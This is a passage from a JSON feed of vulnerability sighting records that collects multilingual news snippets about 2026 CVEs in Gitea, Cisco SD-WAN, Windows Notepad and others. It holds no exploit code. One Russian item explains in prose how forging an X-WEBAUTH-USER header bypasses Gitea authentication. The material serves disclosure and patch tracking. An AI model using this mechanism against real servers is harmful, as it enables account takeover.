\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0434\u043b\u044f \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b \u043d\u0430 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 Gitea.\n\n\u0420\u0430\u043d\u0435\u0435 \u0432 \u0438\u044e\u043b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 Gitea (CVE-2026-20896) \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b Gitea \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043a\u0441\u0438, \u0442\u0430\u043a\u0438\u043c\u0438 \u043a\u0430\u043a X-WEBAUTH-USER.", "creation_timestamp": "2026-08-27T00:00:06.911368Z"}, {"uuid": "1fb77df0-afe3-4de8-9526-0453fc731111", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20312", "type": "seen", "source": "https://t.me/bdufstecru/3419", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e-\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u043c\u043e\u0439 \u0441\u0435\u0442\u0438 Cisco Catalyst SD-WAN (\u0440\u0430\u043d\u0435\u0435 Cisco SD-WAN) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438\n\nBDU:2026-12787\nCVE-2026-20312\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-sdwan-faLcR3K", "creation_timestamp": "2026-08-28T15:00:05.203885Z"}, {"uuid": "d33bad50-3998-4d74-a296-b93685daede5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/xhqcankao/27193", "content": "\u5fae\u8f6f\u4fee\u590d Windows \u8bb0\u4e8b\u672c\u4e2d\u7684\u9ad8\u5371\u6f0f\u6d1e\n\n\u5fae\u8f6f\u5df2\u7ecf\u4fee\u590d\u4e86\u5f71\u54cd\u8bb0\u4e8b\u672c\u4e2d Markdown \u6587\u4ef6\u7684\u4e00\u4e2a\u4e25\u91cd\u5b89\u5168\u6f0f\u6d1e\u3002\u5728\u8be5\u516c\u53f8\u7684\u5468\u4e8c\u8865\u4e01\u8bf4\u660e\u4e2d\uff0c\u5fae\u8f6f\u8868\u793a\uff0c\u6076\u610f\u884c\u4e3a\u8005\u53ef\u80fd\u901a\u8fc7\u8bf1\u9a97\u7528\u6237\u70b9\u51fb\u5728\u8bb0\u4e8b\u672c\u4e2d\u6253\u5f00\u7684 Markdown \u6587\u4ef6\u5185\u7684\u6076\u610f\u94fe\u63a5\uff0c\u6765\u5b9e\u65bd\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u653b\u51fb\u3002\u6839\u636e\u8865\u4e01\u8bf4\u660e\uff0c\u70b9\u51fb\u8be5\u94fe\u63a5\u5c06\u201c\u542f\u52a8\u672a\u7ecf\u9a8c\u8bc1\u7684\u534f\u8bae\u201d\uff0c\u5141\u8bb8\u653b\u51fb\u8005\u8fdc\u7a0b\u52a0\u8f7d\u5e76\u5728\u53d7\u5bb3\u8005\u7684\u8ba1\u7b97\u673a\u4e0a\u6267\u884c\u6076\u610f\u6587\u4ef6\u3002\u5fae\u8f6f\u8868\u793a\uff0c\u6ca1\u6709\u4efb\u4f55\u8bc1\u636e\u663e\u793a\u653b\u51fb\u8005\u5728\u91ce\u5916\u5229\u7528\u8bb0\u4e8b\u672c\u6f0f\u6d1e\uff08CVE-2026-20841\uff09\uff0c\u4f46\u5176\u5df2\u5728\u5176\u5468\u4e8c\u8865\u4e01\u4e2d\u4e3a\u8be5\u6f0f\u6d1e\u53d1\u5e03\u4e86\u4fee\u590d\u3002\u5fae\u8f6f\u516c\u53f8\u53bb\u5e74\u4e94\u6708\u5728 Windows 11 \u4e0a\u4e3a\u8bb0\u4e8b\u672c\u521d\u6b65\u6dfb\u52a0\u4e86\u5bf9\u7eaf\u6587\u672c\u683c\u5f0f\u5316\u8bed\u8a00Markdown\u7684\u652f\u6301\u3002\n\n\u2014\u2014 Theverge", "creation_timestamp": "2026-08-29T00:00:06.619166Z"}, {"uuid": "990e3ba5-e21c-4935-8254-2899f72d2dd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://t.me/CyberDispatch/536", "content": "Microsoft\u2019s first Patch Tuesday of 2026 fixes 114 Windows flaws, including one exploited in the wild.\n\nCVE-2026-20805 is a local info-leak in Desktop Window Manager that can expose memory addresses and weaken ASLR.", "creation_timestamp": "2026-08-29T20:00:23.536874Z"}, {"uuid": "bcd2b433-7d12-4f64-8261-94dc8ec4ace6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mu4d3uu5ly27", "content": "\ud83e\udd16 CVE-2026-20131 (CVSS 10.0): critical insecure deserialization in Cisco Firepower Management Center, exploited by Interlock ransomware in the wild. Post-incident writeup with root cause and containment strategies.\nhttps://github.com/Jwa7470/CVE-2026-20131-Post-Incident-Written-Report", "creation_timestamp": "2026-08-28T02:32:32.497000Z"}, {"uuid": "08930670-7a9e-4dcf-b169-665f6da4bf05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "Telegram/CfRvWZv5RrUF8689qv7kg16a3mW0159b7rTcNr-wYLT-sQY", "content": "", "creation_timestamp": "2026-08-29T00:00:09.857005Z"}, {"uuid": "0120f258-6b11-4a41-a205-89955cb28360", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20312", "type": "seen", "source": "https://t.me/bdufstecru/3419", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e-\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u043c\u043e\u0439 \u0441\u0435\u0442\u0438 Cisco Catalyst SD-WAN (\u0440\u0430\u043d\u0435\u0435 Cisco SD-WAN) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438\n\nBDU:2026-12787\nCVE-2026-20312\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-sdwan-faLcR3K", "creation_timestamp": "2026-08-29T00:00:09.541637Z"}, {"uuid": "35909783-0dca-4f9a-99fe-d8a99bcc580a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "Telegram/CfRvWZv5RrUF8689qv7kg16a3mW0159b7rTcNr-wYLT-sQY", "content": "", "creation_timestamp": "2026-08-29T00:00:09.993612Z"}, {"uuid": "a14b8625-5666-40cd-a155-f9bc581b2c8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mrh3ol7tku2n", "content": "Daily IT Security Digest \u2014 2026-07-25\norganizations. Organizations running ServiceNow should apply patches immediately and audit for signs of compromise.\nSource: [Bluesky @securityonline](https://securityonline.bsky.social/)\n\n## 3. Cisco Catalyst SD-WAN Manager Zero-Day (CVE-2026-20262) Crafted To", "creation_timestamp": "2026-07-25T05:03:32.375571Z"}, {"uuid": "5ca6d2b5-891d-4dfd-8c72-3275c3c3b7bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20896", "type": "seen", "source": "https://gist.github.com/cyberupdates365/bf7660f4ca560d30158b5e5aa5986267", "content": "# 2026 Active CVE and Patch Index\n\nMaster Quick-Reference Index of official mitigation steps and investigative threat reports by **[CyberUpdates365.com](https://cyberupdates365.com/)**.\n\n* **[Adobe Coldfusion Cve 2026 48282 Exploited Guide (2026)](https://cyberupdates365.com/adobe-coldfusion-cve-2026-48282-exploited/)**\n* **[Adobe Vulnerability United States Cisa Emergency Alert October 2025 Guide (2026)](https://cyberupdates365.com/adobe-vulnerability-united-states-cisa-emergency-alert-october-2025/)**\n* **[Beyondtrust Cve 2026 40138 40139 Auth Bypass Guide (2026)](https://cyberupdates365.com/beyondtrust-cve-2026-40138-40139-auth-bypass/)**\n* **[Bind9 Resolver Cache Poisoning Vulnerability Guide (2026)](https://cyberupdates365.com/bind9-resolver-cache-poisoning-vulnerability/)**\n* **[Bind 9 Vulnerability Poc Exploit Released Guide (2026)](https://cyberupdates365.com/bind-9-vulnerability-poc-exploit-released/)**\n* **[Chinese Hackers Cisco Zero Day Cisa Emergency Directive 2025 Guide (2026)](https://cyberupdates365.com/chinese-hackers-cisco-zero-day-cisa-emergency-directive-2025/)**\n* **[Cisco Asa Zero Day Rce Vulnerability Actively Exploited Guide (2026)](https://cyberupdates365.com/cisco-asa-zero-day-rce-vulnerability-actively-exploited/)**\n* **[Cve 2025 22225 Vmware Esxi Sandbox Escape Guide (2026)](https://cyberupdates365.com/cve-2025-22225-vmware-esxi-sandbox-escape/)**\n* **[Cve 2026 20896 Gitea Docker Auth Bypass Fix Guide (2026)](https://cyberupdates365.com/cve-2026-20896-gitea-docker-auth-bypass-fix/)**\n* **[Cve 2026 35273 Oracle Peoplesoft Shinyhunters Attack Guide (2026)](https://cyberupdates365.com/cve-2026-35273-oracle-peoplesoft-shinyhunters-attack/)**\n* **[Cve Vulnerabilities 2026 Enterprise Security Hub Guide (2026)](https://cyberupdates365.com/cve-vulnerabilities-2026-enterprise-security-hub/)**\n* **[Google Chrome Zero Day Emergency Update 2026 Guide (2026)](https://cyberupdates365.com/google-chrome-zero-day-emergency-update-2026/)**\n* **[Legacyhive Windows Zero Day Profsvc Fix Guide (2026)](https://cyberupdates365.com/legacyhive-windows-zero-day-profsvc-fix/)**\n* **[Roundcube Cve 2024 42009 Chinese Hackers Exploit Guide (2026)](https://cyberupdates365.com/roundcube-cve-2024-42009-chinese-hackers-exploit/)**\n* **[Samsung Galaxy S25 Zero Day Vulnerability Guide (2026)](https://cyberupdates365.com/samsung-galaxy-s25-zero-day-vulnerability/)**\n* **[Sharepoint Cve 2026 45659 Rce Vulnerability Guide (2026)](https://cyberupdates365.com/sharepoint-cve-2026-45659-rce-vulnerability/)**\n* **[Simplehelp Cve 2026 48558 Rmm Vulnerability Guide (2026)](https://cyberupdates365.com/simplehelp-cve-2026-48558-rmm-vulnerability/)**\n* **[Splunk Enterprise Critical Vulnerability Cve 2026 20253 Guide (2026)](https://cyberupdates365.com/splunk-enterprise-critical-vulnerability-cve-2026-20253/)**\n* **[Windows 11 Recall Vulnerability Totalrecall Reloaded Guide (2026)](https://cyberupdates365.com/windows-11-recall-vulnerability-totalrecall-reloaded/)**\n* **[Wordpress Arbitrary Installation Vulnerabilities Exploited Guide (2026)](https://cyberupdates365.com/wordpress-arbitrary-installation-vulnerabilities-exploited/)**\n* **[Wp2shell Wordpress Vulnerability Fix Guide Guide (2026)](https://cyberupdates365.com/wp2shell-wordpress-vulnerability-fix-guide/)**\n* **[Wsus Rce Vulnerability United States Cve 2025 59287 Critical Security Alert Guide (2026)](https://cyberupdates365.com/wsus-rce-vulnerability-united-states-cve-2025-59287-critical-security-alert/)**\n", "creation_timestamp": "2026-07-25T08:57:56.350224Z"}, {"uuid": "1abe9720-c56e-497e-8293-46fc5f21d3a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20253", "type": "seen", "source": "https://gist.github.com/cyberupdates365/bf7660f4ca560d30158b5e5aa5986267", "content": "# 2026 Active CVE and Patch Index\n\nMaster Quick-Reference Index of official mitigation steps and investigative threat reports by **[CyberUpdates365.com](https://cyberupdates365.com/)**.\n\n* **[Adobe Coldfusion Cve 2026 48282 Exploited Guide (2026)](https://cyberupdates365.com/adobe-coldfusion-cve-2026-48282-exploited/)**\n* **[Adobe Vulnerability United States Cisa Emergency Alert October 2025 Guide (2026)](https://cyberupdates365.com/adobe-vulnerability-united-states-cisa-emergency-alert-october-2025/)**\n* **[Beyondtrust Cve 2026 40138 40139 Auth Bypass Guide (2026)](https://cyberupdates365.com/beyondtrust-cve-2026-40138-40139-auth-bypass/)**\n* **[Bind9 Resolver Cache Poisoning Vulnerability Guide (2026)](https://cyberupdates365.com/bind9-resolver-cache-poisoning-vulnerability/)**\n* **[Bind 9 Vulnerability Poc Exploit Released Guide (2026)](https://cyberupdates365.com/bind-9-vulnerability-poc-exploit-released/)**\n* **[Chinese Hackers Cisco Zero Day Cisa Emergency Directive 2025 Guide (2026)](https://cyberupdates365.com/chinese-hackers-cisco-zero-day-cisa-emergency-directive-2025/)**\n* **[Cisco Asa Zero Day Rce Vulnerability Actively Exploited Guide (2026)](https://cyberupdates365.com/cisco-asa-zero-day-rce-vulnerability-actively-exploited/)**\n* **[Cve 2025 22225 Vmware Esxi Sandbox Escape Guide (2026)](https://cyberupdates365.com/cve-2025-22225-vmware-esxi-sandbox-escape/)**\n* **[Cve 2026 20896 Gitea Docker Auth Bypass Fix Guide (2026)](https://cyberupdates365.com/cve-2026-20896-gitea-docker-auth-bypass-fix/)**\n* **[Cve 2026 35273 Oracle Peoplesoft Shinyhunters Attack Guide (2026)](https://cyberupdates365.com/cve-2026-35273-oracle-peoplesoft-shinyhunters-attack/)**\n* **[Cve Vulnerabilities 2026 Enterprise Security Hub Guide (2026)](https://cyberupdates365.com/cve-vulnerabilities-2026-enterprise-security-hub/)**\n* **[Google Chrome Zero Day Emergency Update 2026 Guide (2026)](https://cyberupdates365.com/google-chrome-zero-day-emergency-update-2026/)**\n* **[Legacyhive Windows Zero Day Profsvc Fix Guide (2026)](https://cyberupdates365.com/legacyhive-windows-zero-day-profsvc-fix/)**\n* **[Roundcube Cve 2024 42009 Chinese Hackers Exploit Guide (2026)](https://cyberupdates365.com/roundcube-cve-2024-42009-chinese-hackers-exploit/)**\n* **[Samsung Galaxy S25 Zero Day Vulnerability Guide (2026)](https://cyberupdates365.com/samsung-galaxy-s25-zero-day-vulnerability/)**\n* **[Sharepoint Cve 2026 45659 Rce Vulnerability Guide (2026)](https://cyberupdates365.com/sharepoint-cve-2026-45659-rce-vulnerability/)**\n* **[Simplehelp Cve 2026 48558 Rmm Vulnerability Guide (2026)](https://cyberupdates365.com/simplehelp-cve-2026-48558-rmm-vulnerability/)**\n* **[Splunk Enterprise Critical Vulnerability Cve 2026 20253 Guide (2026)](https://cyberupdates365.com/splunk-enterprise-critical-vulnerability-cve-2026-20253/)**\n* **[Windows 11 Recall Vulnerability Totalrecall Reloaded Guide (2026)](https://cyberupdates365.com/windows-11-recall-vulnerability-totalrecall-reloaded/)**\n* **[Wordpress Arbitrary Installation Vulnerabilities Exploited Guide (2026)](https://cyberupdates365.com/wordpress-arbitrary-installation-vulnerabilities-exploited/)**\n* **[Wp2shell Wordpress Vulnerability Fix Guide Guide (2026)](https://cyberupdates365.com/wp2shell-wordpress-vulnerability-fix-guide/)**\n* **[Wsus Rce Vulnerability United States Cve 2025 59287 Critical Security Alert Guide (2026)](https://cyberupdates365.com/wsus-rce-vulnerability-united-states-cve-2025-59287-critical-security-alert/)**\n", "creation_timestamp": "2026-07-25T08:57:56.442146Z"}, {"uuid": "31e1f548-87e5-465a-a5b4-5325473e1737", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/ZerodayAlert/753", "content": "\u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 Gitea\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20896 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H \u2014 9.8 Critical) \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Docker-\u043e\u0431\u0440\u0430\u0437\u044b Gitea \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.26.2 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u0430 \u0438\u0437-\u0437\u0430 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u043a\u0441\u0438 \u0432 \u0448\u0430\u0431\u043b\u043e\u043d\u0435 app.ini \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0437\u0430\u0434\u0430\u043b\u0438 \u043a\u0430\u043a \u00ab*\u00bb, \u0438\u0437-\u0437\u0430 \u0447\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u043e\u0432\u0435\u0440\u044f\u043b \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c \u0441 \u043b\u044e\u0431\u043e\u0433\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0430.\n\n\u0415\u0441\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0432\u043a\u043b\u044e\u0447\u0430\u043b \u0432\u0445\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u043a\u0441\u0438, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a X-WEBAUTH-USER \u0438 \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u043b\u044e\u0431\u043e\u0433\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0438\u043b\u0438 \u0443\u0433\u0430\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f \u0438 \u0442\u043e\u043a\u0435\u043d\u0430. \u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0438\u043c\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u0430\u0432\u0430\u043b\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Sysdig, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0447\u0435\u0440\u0435\u0437 13 \u0434\u043d\u0435\u0439 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0430\u0442\u0430\u043a\u0430 \u0448\u043b\u0430 \u0441 IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0430\u043d\u043e\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0442\u0440\u0430\u0444\u0438\u043a\u0430. Gitea \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 1.26.3 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0438\u044e\u043d\u044f, \u0443\u0431\u0440\u0430\u0432 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u0447\u043d\u044b\u0439 \u0441\u0438\u043c\u0432\u043e\u043b \u00ab*\u00bb \u0438 \u0441\u0434\u0435\u043b\u0430\u0432 \u0432\u0445\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u043a\u0441\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043e\u043f\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439.\n\n#gitea #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #docker #Sysdig\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:05.697531Z"}, {"uuid": "243b7a6a-8768-45af-82c2-469d1071da0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/ZerodayAlert/746", "content": "Cisco SD-WAN \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 CVE-2026-20245 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0439 root-\u0434\u043e\u0441\u0442\u0443\u043f\n\nMandiant \u043e\u043f\u0438\u0441\u0430\u043b\u0430 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 Cisco Catalyst SD-WAN Manager, Controller \u0438 Validator. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0443\u0441\u043b\u0443\u0433, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b\u0438 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 peer-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u0445\u043e\u0434\u0438\u043b\u0438 \u0432 SD-WAN Manager \u0447\u0435\u0440\u0435\u0437 vmanage-admin. Cisco \u0440\u0430\u043d\u0435\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u043b\u0430 \u043e\u0431 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0430\u0442\u0430\u043a, \u043d\u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0442\u043e\u043b\u044c\u043a\u043e 